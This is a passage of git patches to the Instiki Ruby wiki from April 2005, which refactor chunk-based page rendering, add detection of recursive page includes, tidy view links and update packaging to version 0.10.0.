RedCloth.new(@content, @content.options[:engine_opts]).to_html end end class Markdown < AbstractEngine - def mask(content) - RedCloth.new(text,content.options[:engine_opts]).to_html + def mask + RedCloth.new(@content, @content.options[:engine_opts]).to_html end end class RDoc < AbstractEngine - def mask(content) - RDocSupport::RDocFormatter.new(text).to_html + def mask + RDocSupport::RDocFormatter.new(@content).to_html end end diff --git a/app/models/chunks/include.rb b/app/models/chunks/include.rb index add2f4cf..4430be9a 100644 --- a/app/models/chunks/include.rb +++ b/app/models/chunks/include.rb @@ -2,29 +2,40 @@ require 'chunks/wiki' # Includes the contents of another page for rendering. # The include command looks like this: "[[!include PageName]]". -# It is a WikiLink since it refers to another page (PageName) +# It is a WikiReference since it refers to another page (PageName) # and the wiki content using this command must be notified # of changes to that page. # If the included page could not be found, a warning is displayed. -class Include < WikiChunk::WikiLink - INCLUDE_PATTERN = /^\[\[!include(.*)\]\]\s*$/i + +class Include < WikiChunk::WikiReference + + INCLUDE_PATTERN = /\[\[!include(.*)\]\]\s*/i def self.pattern() INCLUDE_PATTERN end - attr_reader :page_name - def initialize(match_data) - super(match_data) + def initialize(match_data, content) + super @page_name = match_data[1].strip + @unmask_text = get_unmask_text_avoiding_recursion_loops end - # This replaces the [[!include PageName]] text with - # the contents of PageName if it exists. Otherwise - # a warning is displayed. - def mask(content) - page = content.web.pages[page_name] - (page ? page.content : "Could not include #{page_name}") + private + + def get_unmask_text_avoiding_recursion_loops + if refpage then + if refpage.wiki_includes.include?(@content.page_name) + # this will break the recursion + @content.delete_chunk(self) + refpage.clear_display_cache + return "Recursive include detected; #{@page_name} --> #{@content.page_name} " + + "--> #{@page_name}\n" + else + @content.merge_chunks(refpage.display_content) + return refpage.display_content.pre_rendered + end + else + return "Could not include #{@page_name}\n" + end end - # Keep this chunk regardless of what happens. - def unmask(content) self end end diff --git a/app/models/chunks/literal.rb b/app/models/chunks/literal.rb index 4fc1cd30..09da4005 100644 --- a/app/models/chunks/literal.rb +++ b/app/models/chunks/literal.rb @@ -5,15 +5,25 @@ require 'chunks/chunk' # occuring within literal areas such as and
           blocks
           # and within HTML tags.
           module Literal
          +
          +  class AbstractLiteral < Chunk::Abstract
          +
          +    def initialize(match_data, content)
          +      super
          +      @unmask_text = @text
          +    end
          +
          +  end
          +
             # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
          -  class Pre < Chunk::Abstract
          +  class Pre < AbstractLiteral
               PRE_BLOCKS = "a|pre|code"
               PRE_PATTERN = Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?', Regexp::MULTILINE)
               def self.pattern() PRE_PATTERN end
             end 
           
             # A literal chunk that protects HTML tags from wiki rendering.
          -  class Tags < Chunk::Abstract
          +  class Tags < AbstractLiteral
               TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
               TAGS_PATTERN = Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) 
               def self.pattern() TAGS_PATTERN  end
          diff --git a/app/models/chunks/nowiki.rb b/app/models/chunks/nowiki.rb
          index ae1e3181..ded3c537 100644
          --- a/app/models/chunks/nowiki.rb
          +++ b/app/models/chunks/nowiki.rb
          @@ -14,18 +14,15 @@ require 'chunks/chunk'
           # Author: Mark Reid 
           # Created: 8th June 2004
           class NoWiki < Chunk::Abstract
          +
             NOWIKI_PATTERN = Regexp.new('(.*?)')
             def self.pattern() NOWIKI_PATTERN end
           
             attr_reader :plain_text
           
          -  def initialize(match_data)
          -	super(match_data)
          -	@plain_text = match_data[1]
          +  def initialize(match_data, content)
          +    super
          +    @plain_text = @unmask_text = match_data[1]
             end
          -  
          -  # The nowiki content is not unmasked. This means the chunk will be reverted
          -  # using the plain text.
          -  def unmask(content) nil end
          -  def revert(content) content.sub!(mask(content), plain_text) end
          +
           end
          diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb
          index 7358c41a..8280ee8c 100644
          --- a/app/models/chunks/uri.rb
          +++ b/app/models/chunks/uri.rb
          @@ -86,23 +86,24 @@ class URIChunk < Chunk::Abstract
             
             def self.apply_to(content)
               content.gsub!( self.pattern ) do |matched_text|
          -      chunk = self.new($~)
          +      chunk = self.new($~, content)
                 if chunk.avoid_autolinking?
          -        # do not substitute
          +        # do not substitute nor register the chunk
                   matched_text
                 else
          -        content.chunks << chunk
          -        chunk.mask(content)
          +        content.add_chunk(chunk)
          +        chunk.mask
                 end
               end
             end
           
          -  def initialize(match_data)
          -    super(match_data)
          +  def initialize(match_data, content)
          +    super
               @link_text = match_data[0]
               @suspicious_preceding_character = match_data[1]
               @original_scheme, @user, @host, @port, @path, @query, @fragment = match_data[2..-1]
               treat_trailing_character
          +    @unmask_text = "#{link_text}"
             end
           
             def avoid_autolinking?
          @@ -123,18 +124,6 @@ class URIChunk < Chunk::Abstract
               end
             end
           
          -  # If the text should be escaped then don't keep this chunk.
          -  # Otherwise only keep this chunk if it was substituted back into the
          -  # content.
          -  def unmask(content)
          -    return nil if escaped_text
          -    return self if content.sub!(mask(content), "#{link_text}")
          -  end
          -
          -  # If there is no hostname in the URI, do not render it
          -  # It's probably only contains the scheme, eg 'something:' 
          -  def escaped_text() ( host.nil? ? @uri : nil )  end
          -
             def scheme
               @original_scheme or (@user ? 'mailto' : 'http')
             end
          diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb
          index c1e6491e..d9ff2987 100644
          --- a/app/models/chunks/wiki.rb
          +++ b/app/models/chunks/wiki.rb
          @@ -7,62 +7,53 @@ require 'cgi'
           module WikiChunk
             include Chunk
           
          -  # A wiki link is the top-level class for anything that refers to
          +  # A wiki reference is the top-level class for anything that refers to
             # another wiki page.
          -  class WikiLink < Chunk::Abstract
          +  class WikiReference < Chunk::Abstract
           
          -    attr_reader :page_name, :link_text, :link_type
          +    # Name of the referenced page
          +    attr_reader :page_name
          +    
          +    # the referenced page
          +    def refpage
          +      @content.web.pages[@page_name]
          +    end
          +  
          +  end
           
          -    def initialize(*args)
          +  # A wiki link is the top-level class for links that refers to
          +  # another wiki page.
          +  class WikiLink < WikiReference
          + 
          +    attr_reader :link_text, :link_type
          +
          +    def initialize(match_data, content)
                 super
                 @link_type = :show
               end
           
               def self.apply_to(content)
                 content.gsub!( self.pattern ) do |matched_text|
          -        chunk = self.new($~)
          +        chunk = self.new($~, content)
                   if chunk.textile_url?
                     # do not substitute
                     matched_text
                   else
          -          content.chunks << chunk
          -          chunk.mask(content)
          +          content.add_chunk(chunk)
          +          chunk.mask
                   end
                 end
               end
           
          +    # the referenced page
          +    def refpage
          +      @content.web.pages[@page_name]
          +    end
          +
               def textile_url?
                 not @textile_link_suffix.nil?
               end
           
          -    # By default, no escaped text
          -    def escaped_text() nil end
          -
          -    # Replace link with a mask, but if the word is escaped, then don't replace it
          -    def mask(content) 
          -      escaped_text || super(content)
          -    end
          -
          -    def revert(content) content.sub!(mask(content), text) end
          -    
          -    # Do not keep this chunk if it is escaped.
          -    # Otherwise, pass the link procedure a page_name and link_text and
          -    # get back a string of HTML to replace the mask with.
          -    def unmask(content)
          -      if escaped_text 
          -        return self
          -      else 
          -        chunk_found = content.sub!(mask(content)) do |match| 
          -          content.page_link(page_name, link_text, link_type)
          -        end
          -        if chunk_found
          -          return self
          -        else
          -          return nil
          -        end
          -      end
          -    end
          -
             end
           
             # This chunk matches a WikiWord. WikiWords can be escaped
          @@ -70,6 +61,9 @@ module WikiChunk
             # method will return the WikiWord instead of the usual +nil+.
             # The +page_name+ method returns the matched WikiWord.
             class Word < WikiLink
          +
          +    attr_reader :escaped_text
          +    
               unless defined? WIKI_WORD
                 WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8")
               end
          @@ -78,15 +72,19 @@ module WikiChunk
                 WIKI_WORD
               end
           
          -    def initialize(match_data)
          -      super(match_data)
          +    def initialize(match_data, content)
          +      super
                 @textile_link_suffix, @escape, @page_name = match_data[1..3]
          +      if @escape 
          +        @unmask_mode = :escape
          +        @escaped_text = @page_name
          +      else
          +        @escaped_text = nil
          +      end
          +      @link_text = WikiWords.separate(@page_name)
          +      @unmask_text = (@escaped_text || @content.page_link(@page_name, @link_text, @link_type))
               end
           
          -    def escaped_text
          -      page_name unless @escape.nil?
          -    end
          -    def link_text() WikiWords.separate(page_name) end	
             end
           
             # This chunk handles [[bracketted wiki words]] and 
          @@ -108,12 +106,13 @@ module WikiChunk
                   
               def self.pattern() WIKI_LINK end
           
          -    def initialize(match_data)
          -      super(match_data)
          +    def initialize(match_data, content)
          +      super
                 @textile_link_suffix, @page_name = match_data[1..2]
                 @link_text = @page_name
                 separate_link_type
                 separate_alias
          +      @unmask_text = @content.page_link(@page_name, @link_text, @link_type)
               end
           
               private
          diff --git a/app/models/page.rb b/app/models/page.rb
          index ddb286f7..48adf729 100644
          --- a/app/models/page.rb
          +++ b/app/models/page.rb
          @@ -72,6 +72,14 @@ class Page
               @web.select.pages_that_reference(name)
             end
           
          +  def linked_from
          +    @web.select.pages_that_link_to(name)
          +  end
          +
          +  def included_from
          +    @web.select.pages_that_include(name)
          +  end
          +
             # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page".
             def plain_name
               @web.brackets_only ? name : WikiWords.separate(name)
          diff --git a/app/models/page_set.rb b/app/models/page_set.rb
          index d82dae86..1e0d994e 100644
          --- a/app/models/page_set.rb
          +++ b/app/models/page_set.rb
          @@ -32,9 +32,17 @@ class PageSet < Array
             end
             
             def pages_that_reference(page_name)
          +    self.select { |page| page.wiki_references.include?(page_name) }
          +  end
          +  
          +  def pages_that_link_to(page_name)
               self.select { |page| page.wiki_words.include?(page_name) }
             end
           
          +  def pages_that_include(page_name)
          +    self.select { |page| page.wiki_includes.include?(page_name) }
          +  end
          +
             def pages_authored_by(author)
               self.select { |page| page.authors.include?(author) }
             end
          @@ -70,4 +78,4 @@ class PageSet < Array
               self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort
             end
           
          -end
          \ No newline at end of file
          +end
          diff --git a/app/models/revision.rb b/app/models/revision.rb
          index 6ac6faae..d06c9a35 100644
          --- a/app/models/revision.rb
          +++ b/app/models/revision.rb
          @@ -34,11 +34,29 @@ class Revision
               number > 0 ? page.revisions[number - 1] : nil
             end
           
          +  # Returns an array of all the WikiIncludes present in the content of this revision.
          +  def wiki_includes
          +    unless @wiki_includes_cache 
          +      chunks = display_content.find_chunks(Include)
          +      @wiki_includes_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
          +    end
          +    @wiki_includes_cache
          +  end  
          +
          +  # Returns an array of all the WikiReferences present in the content of this revision.
          +  def wiki_references
          +    unless @wiki_references_cache 
          +      chunks = display_content.find_chunks(WikiChunk::WikiReference)
          +      @wiki_references_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
          +    end
          +    @wiki_references_cache
          +  end  
          +
             # Returns an array of all the WikiWords present in the content of this revision.
             def wiki_words
               unless @wiki_words_cache 
                 wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink)
          -      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped_text ? nil : c.page_name ) }.compact.uniq
          +      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
               end
               @wiki_words_cache
             end  
          @@ -55,11 +73,12 @@ class Revision
               wiki_words - existing_pages
             end  
           
          -  # Explicit check for new type of display cache with find_chunks method.
          +  # Explicit check for new type of display cache with chunks_by_type method.
             # Ensures new version works with older snapshots.
             def display_content
          -    unless @display_cache && @display_cache.respond_to?(:find_chunks)
          +    unless @display_cache && @display_cache.respond_to?(:chunks_by_type)
                 @display_cache = WikiContent.new(self)
          +      @display_cache.render!
               end
               @display_cache
             end
          @@ -69,7 +88,7 @@ class Revision
             end
           
             def clear_display_cache
          -    @display_cache = @published_cache = @wiki_words_cache = nil
          +    @wiki_references_cache = @wiki_includes = @display_cache = nil
             end
           
             def display_published
          @@ -78,12 +97,12 @@ class Revision
             end
           
             def display_content_for_export
          -    WikiContent.new(self, {:mode => :export} )
          +    WikiContent.new(self, {:mode => :export} ).render!
             end
             
             def force_rendering
               begin
          -      display_content
          +      display_content.render!
               rescue Exception => e
                 ApplicationController.logger.error "Failed rendering page #{@name}"
                 ApplicationController.logger.error e
          diff --git a/app/models/web.rb b/app/models/web.rb
          index 8b54ca52..ad87f373 100644
          --- a/app/models/web.rb
          +++ b/app/models/web.rb
          @@ -156,6 +156,11 @@ class Web
               PageSet.new(self, @pages.values, condition)
             end
             
          +  # This ensures compatibility with 0.9 storages
          +  def wiki
          +    @wiki ||= WikiService.instance
          +  end
          +
             private
               # Returns an array of all the wiki words in any current revision
               def wiki_words
          @@ -167,9 +172,4 @@ class Web
                 pages.keys
               end
               
          -    # This ensures compatibility with 0.9 storages
          -    def wiki
          -      @wiki ||= WikiService.instance
          -    end
          -
          -end
          \ No newline at end of file
          +end
          diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb
          index b1bbb030..5f46acf7 100644
          --- a/app/models/wiki_content.rb
          +++ b/app/models/wiki_content.rb
          @@ -37,22 +37,95 @@ require 'chunks/nowiki'
           # AUTHOR: Mark Reid 
           # CREATED: 15th May 2004
           # UPDATED: 22nd May 2004
          +
          +module ChunkManager
          +  attr_reader :chunks_by_type, :chunks_by_id
          +  
          +  # regexp that match all chunk type masks
          +  CHUNK_MASK_RE = Chunk::Abstract.mask_re(Chunk::Abstract::derivatives)
          +  
          +  def init_chunk_manager
          +    @chunks_by_type = Hash.new
          +    Chunk::Abstract::derivatives.each{|chunk_type| 
          +      @chunks_by_type[chunk_type] = Array.new 
          +    }
          +    @chunks_by_id = Hash.new
          +  end
          +
          +  def add_chunk(c)
          +    @chunks_by_type[c.class] << c
          +    @chunks_by_id[c.object_id] = c
          +  end
          +
          +  def delete_chunk(c)
          +    @chunks_by_type[c.class].delete(c)
          +    @chunks_by_id.delete(c.object_id)
          +  end
          +
          +  def chunks
          +    @chunks_by_id.values
          +  end
          +
          +  def merge_chunks(other)
          +    other.chunks_by_id.each_value{|c| add_chunk(c)}
          +  end
          +
          +  def scan_chunkid(text)
          +    text.scan(CHUNK_MASK_RE){|a| yield a[0].to_i }
          +  end
          +  
          +  def find_chunks(chunk_type)
          +    @chunks_by_id.values.select { |chunk| chunk.kind_of?(chunk_type) and chunk.rendered? }
          +  end
          +end
          +
          +# A simplified version of WikiContent. Useful to avoid recursion problems in 
          +# WikiContent.new
          +class WikiContentStub < String
          +  attr_reader :options
          +  include ChunkManager
          +  def initialize(content, options)
          +    super(content)
          +    @options = options
          +    init_chunk_manager
          +  end
          +
          +  # Detects the mask strings contained in the text of chunks of type chunk_types
          +  # and yields the corresponding chunk ids
          +  # example: content = "chunk123categorychunk 
          chunk456categorychunk
          " + # inside_chunks(Literal::Pre) ==> yield 456 + def inside_chunks(chunk_types) + chunk_types.each{|chunk_type| chunk_type.apply_to(self) } + + chunk_types.each{|chunk_type| @chunks_by_type[chunk_type].each{|hide_chunk| + scan_chunkid(hide_chunk.text){|id| yield id } + } + } + end +end + class WikiContent < String - PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, WikiChunk::Link, URIChunk, - LocalURIChunk, WikiChunk::Word ].freeze - POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ].freeze + ACTIVE_CHUNKS = [ NoWiki, Category, WikiChunk::Link, URIChunk, LocalURIChunk, + WikiChunk::Word ] + HIDE_CHUNKS = [ Literal::Pre, Literal::Tags ] + + MASK_RE = { + ACTIVE_CHUNKS => Chunk::Abstract.mask_re(ACTIVE_CHUNKS), + HIDE_CHUNKS => Chunk::Abstract.mask_re(HIDE_CHUNKS) + } DEFAULT_OPTS = { - :pre_engine_actions => PRE_ENGINE_ACTIONS, - :post_engine_actions => POST_ENGINE_ACTIONS, + :active_chunks => ACTIVE_CHUNKS, :engine => Engines::Textile, :engine_opts => [], :mode => :show }.freeze - attr_reader :web, :options, :rendered, :chunks + attr_reader :web, :options, :revision, :not_rendered, :pre_rendered + include ChunkManager + # Create a new wiki content string from the given one. # The options are explained at the top of this file. def initialize(revision, options = {}) @@ -60,13 +133,14 @@ class WikiContent < String @web = @revision.page.web @options = DEFAULT_OPTS.dup.merge(options) - @options[:engine] = Engines::MAP[@web.markup] - @options[:engine_opts] = [:filter_html, :filter_styles] if @web.safe_mode - @options[:pre_engine_actions] = (PRE_ENGINE_ACTIONS - [WikiChunk::Word]) if @web.brackets_only + @options[:engine] = Engines::MAP[@web.markup] + @options[:engine_opts] = [:filter_html, :filter_styles] if @web.safe_mode + @options[:active_chunks] = (ACTIVE_CHUNKS - [WikiChunk::Word] ) if @web.brackets_only super(@revision.content) - - render!(@options[:pre_engine_actions] + [@options[:engine]] + @options[:post_engine_actions]) + init_chunk_manager + build_chunks + @not_rendered = String.new(self) end # Call @web.page_link using current options. @@ -75,17 +149,50 @@ class WikiContent < String @web.make_link(name, text, @options) end - # Find all the chunks of the given types - def find_chunks(chunk_type) - rendered.select { |chunk| chunk.kind_of?(chunk_type) } + def build_chunks + # create and mask Includes and "active_chunks" chunks + Include.apply_to(self) + @options[:active_chunks].each{|chunk_type| chunk_type.apply_to(self)} + + # Handle hiding contexts like "pre" and "code" etc.. + # The markup (textile, rdoc etc) can produce such contexts with its own syntax. + # To reveal them, we work on a copy of the content. + # The copy is rendered and used to detect the chunks that are inside protecting context + # These chunks are reverted on the original content string. + + copy = WikiContentStub.new(self, @options) + @options[:engine].apply_to(copy) + + copy.inside_chunks(HIDE_CHUNKS) do |id| + @chunks_by_id[id].revert + end end - # Render this content using the specified actions. - def render!(chunk_types) - @chunks = [] - chunk_types.each { |chunk_type| chunk_type.apply_to(self) } - @rendered = @chunks.map { |chunk| chunk.unmask(self) }.compact - (@chunks - @rendered).each { |chunk| chunk.revert(self) } + def pre_render! + unless @pre_rendered + @chunks_by_type[Include].each{|chunk| chunk.unmask } + @pre_rendered = String.new(self) + end + @pre_rendered end - -end \ No newline at end of file + + def render! + pre_render! + @options[:engine].apply_to(self) + # unmask in one go. $~[1].to_i is the chunk id + gsub!(MASK_RE[ACTIVE_CHUNKS]){ + if chunk = @chunks_by_id[$~[1].to_i] + chunk.unmask_text + # if we match a chunkmask that existed in the original content string + # just keep it as it is + else + $~[0] + end} + self + end + + def page_name + @revision.page.name + end + +end diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index 9ad96de4..41dc34e4 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -75,15 +75,24 @@ <% end %>
          - <% if @page.references.length > 0 %> + <% unless @page.linked_from.empty? %> | Linked from: - <%= @page.references.collect { |referring_page| + <%= @page.linked_from.collect { |referring_page| link_to_existing_page referring_page }.join(", ") %> <% end %> + + <% if @page.included_from.length > 0 %> + + | Included from: <%= @page.included_from.collect { |referring_page| + link_to_existing_page referring_page + }.join(", ") + %> + + <% end %> From a74b3f8934ab002ba1650d13b60379c4c7d6e14d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 7 Apr 2005 03:24:02 +0000 Subject: [PATCH 215/529] Extracted categories menu to a helper, and got rid of hrefs --- app/controllers/wiki_controller.rb | 9 +-------- app/helpers/application_helper.rb | 15 +++++++++++++++ app/views/wiki/list.rhtml | 8 +------- app/views/wiki/recently_revised.rhtml | 8 +------- test/functional/wiki_controller_test.rb | 10 ---------- 5 files changed, 18 insertions(+), 32 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 06448c2a..f11d5dc5 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -120,7 +120,7 @@ class WikiController < ApplicationController @page.unlock redirect_show end - + def edit if @page.nil? redirect_to :action => 'index' @@ -294,13 +294,6 @@ class WikiController < ApplicationController @pages_in_category = PageSet.new(@web).by_name @set_name = 'the web' end - @category_links = @categories.map { |c| - if @category == c - %{#{c}} - else - %{#{c}} - end - } end def parse_rss_params diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index a8d6ee3f..cad785c0 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -50,4 +50,19 @@ module ApplicationHelper web.make_link(page_name, text, options.merge(:base_url => base_url)) end + # Creates a menu of categories + def categories_menu + if @categories.empty? + '' + else + "
          \n" + + 'Categories:' + + '[' + link_to_unless_current('Any', :web => @web.address, :action => @action_name) + "]\n" + + @categories.map { |c| + link_to_unless_current(c, :web => @web.address, :action => @action_name, :category => c) + }.join(', ') + "\n" + + '
          ' + end + end + end diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml index 02c0bcf6..b38ebc2b 100644 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -1,12 +1,6 @@ <% @title = "All Pages" %> -<% unless @categories.empty? %> -
          - Categories: - [Any] - <%= @category_links.join(', ') %> -
          -<% end %> +<%= categories_menu unless @categories.empty? %>
          <% unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? %> diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml index 1e4364d6..a3196a59 100644 --- a/app/views/wiki/recently_revised.rhtml +++ b/app/views/wiki/recently_revised.rhtml @@ -1,12 +1,6 @@ <% @title = "Recently Revised" %> -<% unless @categories.empty? %> -
          - Categories: - [Any] - <%= @category_links.join(', ') %> -
          -<% end %> +<%= categories_menu %> <% unless @pages_by_revision.empty? %> <% revision_date = @pages_by_revision.first.revised_on %> diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 7227879a..800c324a 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -197,8 +197,6 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal ['animals', 'trees'], r.template_objects['categories'] assert_nil r.template_objects['category'] - assert_equal ['animals', 'trees'], - r.template_objects['category_links'] assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'] end @@ -281,7 +279,6 @@ class WikiControllerTest < Test::Unit::TestCase assert_nil r.template_objects['category'] assert_equal [@home], r.template_objects['pages_in_category'] assert_equal 'the web', r.template_objects['set_name'] - assert_equal [], r.template_objects['category_links'] end def test_recently_revised_with_categorized_page @@ -300,8 +297,6 @@ class WikiControllerTest < Test::Unit::TestCase "Pages are not as expected: " + r.template_objects['pages_in_category'].map {|p| p.name}.inspect assert_equal 'the web', r.template_objects['set_name'] - assert_equal ['categorized'], - r.template_objects['category_links'] end def test_recently_revised_with_categorized_page_multiple_categories @@ -317,9 +312,6 @@ class WikiControllerTest < Test::Unit::TestCase "Pages are not as expected: " + r.template_objects['pages_in_category'].map {|p| p.name}.inspect assert_equal 'the web', r.template_objects['set_name'] - assert_equal ['animals', - 'trees'], - r.template_objects['category_links'] end def test_recently_revised_with_specified_category @@ -333,8 +325,6 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal 'animals', r.template_objects['category'] assert_equal [@elephant], r.template_objects['pages_in_category'] assert_equal "category 'animals'", r.template_objects['set_name'] - assert_equal ['animals', 'trees'], - r.template_objects['category_links'] end From 64061a95f96d26310c9e61c5c6edcfe6e669aa6e Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 7 Apr 2005 03:36:12 +0000 Subject: [PATCH 216/529] More pesky hrefs deleted --- app/views/admin/edit_web.rhtml | 2 +- app/views/file/import.rhtml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 922efc7e..99010fd6 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -109,7 +109,7 @@ TODO Enable these input elements again after release 0.10 and

          - ...or forget changes and create a new web + ...or forget changes and <%= link_to 'create a new web', :action => 'create_web' %>

          diff --git a/app/views/file/import.rhtml b/app/views/file/import.rhtml index 251ffc28..e4a01ccb 100644 --- a/app/views/file/import.rhtml +++ b/app/views/file/import.rhtml @@ -15,7 +15,7 @@ <% if @page %> - | Cancel (unlocks page) + | <%= link_to 'Cancel', :web => @web.address, :action => 'file'%> (unlocks page) <% end %>

          From 41b3468a57f3454f3cd204b7a30123e5ec1315b6 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 7 Apr 2005 05:14:02 +0000 Subject: [PATCH 217/529] Cleared another reload warning --- app/controllers/application.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index f56a185d..c49b276d 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -59,7 +59,7 @@ class ApplicationController < ActionController::Base '.png' => 'image/png', '.txt' => 'text/plain', '.zip' => 'application/zip' - } + } unless defined? FILE_TYPES def send_file(file, options = {}) options[:type] ||= (FILE_TYPES[File.extname(file)] || 'application/octet-stream') From 4f04ff39e99792b3726acb97c4563829735ea9c5 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 7 Apr 2005 05:15:46 +0000 Subject: [PATCH 218/529] Fixed a subtle bug in RedclothForTex --- app/controllers/wiki_controller.rb | 5 ++--- lib/redcloth_for_tex.rb | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index f11d5dc5..33ac665a 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -68,8 +68,7 @@ class WikiController < ApplicationController def export_tex file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}.tex" - file_path = @wiki.storage_path + file_name - + file_path = File.join(@wiki.storage_path, file_name) export_web_to_tex(file_path) unless FileTest.exists?(file_path) send_file file_path end @@ -276,7 +275,7 @@ class WikiController < ApplicationController end def export_web_to_tex(file_path) - @tex_content = table_of_contents(@web.pages['HomePage'].content.dup, render_tex_web) + @tex_content = table_of_contents(@web.pages['HomePage'].content, render_tex_web) File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex_web')) } end diff --git a/lib/redcloth_for_tex.rb b/lib/redcloth_for_tex.rb index c238ed7c..6bfb6a0f 100644 --- a/lib/redcloth_for_tex.rb +++ b/lib/redcloth_for_tex.rb @@ -13,7 +13,7 @@ end def table_of_contents(text, pages) - text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match| + text.gsub( /^([#*]+? .*?)$(?![^#*])/m ) do |match| lines = match.split( /\n/ ) last_line = -1 depth = [] From 029189d8e91557bfc1bde1969190d6ac00377d75 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 7 Apr 2005 06:11:22 +0000 Subject: [PATCH 219/529] Updated packaging automation to 0.10 --- CHANGELOG | 5 ++++- app/models/chunks/engines.rb | 2 +- instiki.gemspec | 16 ++++++++-------- 3 files changed, 13 insertions(+), 10 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 56225b6b..907d2779 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,6 +1,9 @@ * 0.10.0: Ported to ActionPack - RedCloth 3.0.3 (mixing Textile and Markdown on the same page) + RedCloth 3.0.3 + BlueCloth is phased out + Default markup remains Textile-only, but Markdown wikis now understand Textile + syntax on the same page Instiki can serve static content (such as HTML or plain-text files) from ./public directory Much friendlier admin interface diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index 9f7d87db..341c6857 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -27,7 +27,7 @@ module Engines class Textile < AbstractEngine def mask - RedCloth.new(@content, @content.options[:engine_opts]).to_html + RedCloth.new(@content, @content.options[:engine_opts]).to_html([:textile]) end end diff --git a/instiki.gemspec b/instiki.gemspec index d2b5e22d..7ca9efb2 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -1,9 +1,12 @@ -$__instiki_source_patterns = ['[A-Z]*', 'instiki', 'app/**/*', 'lib/**/*', 'vendor/**/*'] +$__instiki_source_patterns = [ + '[A-Z]*', 'instiki', 'instiki.rb', 'app/**/*', 'lib/**/*', 'vendor/**/*', + 'public/**/*', 'natives/**/*', 'config/**/*', 'script/**/*' +] spec = Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'instiki' - s.version = "0.9.2" + s.version = "0.10.0" s.summary = 'Easy to install WikiClone running on WEBrick and Madeleine' s.description = <<-EOF Instiki is a Wiki Clone written in Ruby that ships with an embedded @@ -19,15 +22,12 @@ spec = Gem::Specification.new do |s| s.executables = ['instiki'] s.default_executable = 'instiki' - s.has_rdoc = true - s.rdoc_options << '--title' << 'Instiki -- The Wiki' << - '--line-numbers' << '--inline-source' - # TODO: specify README as main RDoc file + s.has_rdoc = false s.add_dependency('madeleine', '= 0.7.1') - s.add_dependency('BlueCloth', '= 1.0.0') - s.add_dependency('RedCloth', '= 2.0.11') + s.add_dependency('RedCloth', '= 3.0.3') s.add_dependency('rubyzip', '= 0.5.5') + s.add_dependency('rails', '= 0.11.1') s.requirements << 'none' s.require_path = 'lib' From 1c40b5e570c40335b7198e8d24b7686ec754bce6 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 8 Apr 2005 04:31:48 +0000 Subject: [PATCH 220/529] Fixed an incompatibility with 0.9 storages that showed up only when you would try to edit a web --- app/models/wiki_service.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index 87154f60..8cf54644 100644 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -15,7 +15,8 @@ module AbstractWikiService attr_reader :webs, :system def authenticate(password) - 